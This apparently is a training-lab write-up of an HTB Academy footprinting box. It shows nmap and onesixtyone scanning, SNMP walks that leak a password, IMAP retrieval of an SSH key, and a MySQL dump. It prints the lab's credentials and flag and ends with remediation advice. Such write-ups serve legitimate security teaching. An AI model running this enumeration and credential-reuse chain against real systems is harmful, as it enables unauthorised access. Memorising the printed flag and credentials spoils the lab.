July 12, 2026

Footprinting a "Hard" HTB Box

By Gabriel D. Vincent

4 min read

A walkthrough of chaining SNMP misconfigurations, IMAP mail access, and plaintext database credentials to fully compromise a Linux target.

Footprinting labs are deceptively simple — no exploits, no memory corruption, just careful enumeration. This one, however, packs a full attack chain into a handful of "boring" services: SNMP, IMAP, SSH, and MySQL. Here's how it goes down.

This box is the Hard skills-assessment lab for HTB Academy's Footprinting module, which covers enumeration techniques across FTP, SMB, NFS, DNS, SMTP, IMAP/POP3, SNMP, MySQL/MSSQL, Oracle TNS, IPMI, and remote management protocols on both Windows and Linux.

Target: 10.129.202.20 (hostname NIXHARD, Ubuntu 5.4.0-90-generic) Goal: Retrieve a password stored in a local MySQL database for user HTB

Attack Chain at a Glance

  1. SNMP community string backup — found via onesixtyone brute force
  2. tom / NMds732Js2761 — pulled from the SNMP extend table arguments
  3. Tom's SSH private key — retrieved via IMAP login as tom → INBOX UID 1
  4. Shell as tom — obtained via SSH with the private key
  5. HTB / cr3n4o7rzse7rzhnckhssncif7ds — read from the MySQL users.users table

Step 1: Port Scan

sudo nmap -sV -sC -p- --min-rate 5000 10.129.202.20

The open TCP ports are all mail and shell related:

  • 22 (SSH) — OpenSSH 8.2p1, publickey only
  • 110 (POP3) — Dovecot
  • 143 (IMAP) — Dovecot
  • 993 (IMAPS) — Dovecot TLS
  • 995 (POP3S) — Dovecot TLS

Notably, SMTP is nowhere to be found — ports 25, 465, 587, and 2525 are all closed. No point chasing it.

A UDP sweep reveals SNMP is alive on port 161:

sudo nmap -sU -sV -p161 --script snmp-info,snmp-sysdescr,snmp-processes 10.129.202.20

The service advertises SNMPv3 — but that doesn't mean older versions are actually disabled.

Step 2: Cracking the SNMP Community String

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.129.202.20
10.129.202.20 [backup] Linux NIXHARD ...

Community string: backup

Lesson:_ Always brute-force community strings, even when a server claims to only speak SNMPv3. SNMPv2c is frequently left enabled in parallel — a classic case of "secure by advertisement, not by configuration."_

Step 3: Mining the SNMP Extend Table

A full walk is a good starting point:

snmpwalk -v2c -c backup 10.129.202.20 > /tmp/snmp_full.txt
grep -i 'pass\|user\|login\|cred\|mail\|ssh\|backup\|htb' /tmp/snmp_full.txt

Process-table OIDs (1.3.6.1.2.1.25.4.2.1.5) are locked down, but the grep turns up a failed chpasswd attempt tied to user tom. That's a thread worth pulling — specifically the extend table, which stores the commands and arguments of custom SNMP extend scripts:

snmpwalk -v2c -c backup 10.129.202.20 1.3.6.1.2.1.25.1.7.1.2
iso.3.6.1.2.1.25.1.7.1.2.1.2.6.66.65.67.75.85.80 = STRING: "/opt/tom-recovery.sh"
iso.3.6.1.2.1.25.1.7.1.2.1.3.6.66.65.67.75.85.80 = STRING: "tom NMds732Js2761"

(The OID suffix 66.65.67.75.85.80 decodes to ASCII BACKUP — just the extend entry's name.)

That second string is a script being invoked with a username and password as command-line arguments:

  • Script: /opt/tom-recovery.sh
  • Arguments: tom NMds732Js2761

The extend output also shows this script tried a chpasswd call that PAM rejected on complexity grounds — but the credential itself is still valid.

Credential obtained: tom / NMds732Js2761

Step 4: Pivoting Through IMAP for an SSH Key

SSH on this box only accepts public keys — password auth is off, so the credential looks like a dead end at first. But Dovecot is listening, and that credential works there too.

List the inbox:

curl -k --user "tom:NMds732Js2761" imaps://10.129.202.20/INBOX
* LIST (\HasNoChildren) "." INBOX

Pull the first message:

curl -k --user "tom:NMds732Js2761" "imaps://10.129.202.20/INBOX;UID=1"

The message — subject KEY, from tech@dev.inlanefreight.htb — contains a 4096-bit OpenSSH RSA private key.

Save it and connect:

cat > /tmp/tom_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<key content from IMAP message>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/tom_id_rsa
ssh -i /tmp/tom_id_rsa tom@10.129.202.20

Shell obtained as tom@NIXHARD.

Lesson:_ When password auth is disabled, don't assume a leaked credential is worthless — check_ every other exposed service. Here, IMAP was the bridge between a password and an SSH key.

Step 5: Local Enumeration

Bash history is a goldmine, as usual:

cat ~/.bash_history
mysql -u tom -p

Tom has database access, and history shows the SSH key was also manually copied into ~/Maildir/cur/ (present as key:2,S) — a second path to the same key.

MySQL history confirms a target database:

cat ~/.mysql_history
show databases;
use users;
select * from users;

Other shelled users on the box, for context:

cat /etc/passwd | grep -v nologin | grep -v false
root, ubuntu, cry0l1t3, tom

Step 6: Dumping the Database

mysql -u tom -pNMds732Js2761 -e "SELECT * FROM users.users;"

Row 150 has the prize:

  • id: 150
  • username: HTB
  • password: cr3n4o7rzse7rzhnckhssncif7ds

Flag: HTB / cr3n4o7rzse7rzhnckhssncif7ds

Key Techniques Worth Remembering

SNMP extend table credential leak. The hrSWRunParameters OID branch (1.3.6.1.2.1.25.1.7) exposes the exact command line — including arguments — used by any script registered as an SNMP extend entry. If a script takes credentials as CLI args, anyone with the community string can read them. Extremely common in backup/recovery tooling.

SNMPv2c quietly coexisting with SNMPv3. The advertised engineID suggested SNMPv3-only, but v2c with a guessable community string was still live. Don't trust the advertised protocol version — test what's actually enabled.

SSH publickey-only doesn't block a credential pivot. A password that can't touch SSH directly can still unlock IMAP, POP3, or other auth-gated services — which may hand you the key you actually need.

Mail as key storage. Storing an SSH private key as an email attachment (and in Maildir) meant the credential was sitting in plaintext, unencrypted, wherever the mailbox was accessible.

Plaintext database passwords. No hashing, no salting — SELECT * was all it took.

Tools Used

  • nmap — port scan, service/version detection, SNMP scripts
  • onesixtyone — SNMP community string brute force
  • snmpwalk — SNMP OID enumeration, extend table
  • curl — IMAP authentication and message retrieval
  • ssh — shell access via private key
  • mysql — database enumeration

Remediation Summary

  • SNMP community string with extend access (Critical) — Disable SNMPv1/v2c; enforce SNMPv3 authPriv; restrict OID views to exclude hrSWRun
  • Credentials passed as SNMP extend script arguments (Critical) — Never pass credentials via CLI args; use env vars or permission-locked credential files
  • SSH private key stored in a mailbox (High) — Never store private keys in email; use a secrets manager or encrypted vault
  • Plaintext MySQL passwords (Critical) — Hash with bcrypt or Argon2; never store credentials in plaintext
  • Key delivered over an unencrypted channel (High) — Distribute keys out-of-band through secure channels, not email
  • SNMP reachable from the general network (High) — Restrict SNMP to a dedicated management network

This chain is a good reminder that "footprinting" boxes aren't just about running nmap — the real skill is connecting small leaks (a config oversight here, a stray argument there) across unrelated services into a full compromise.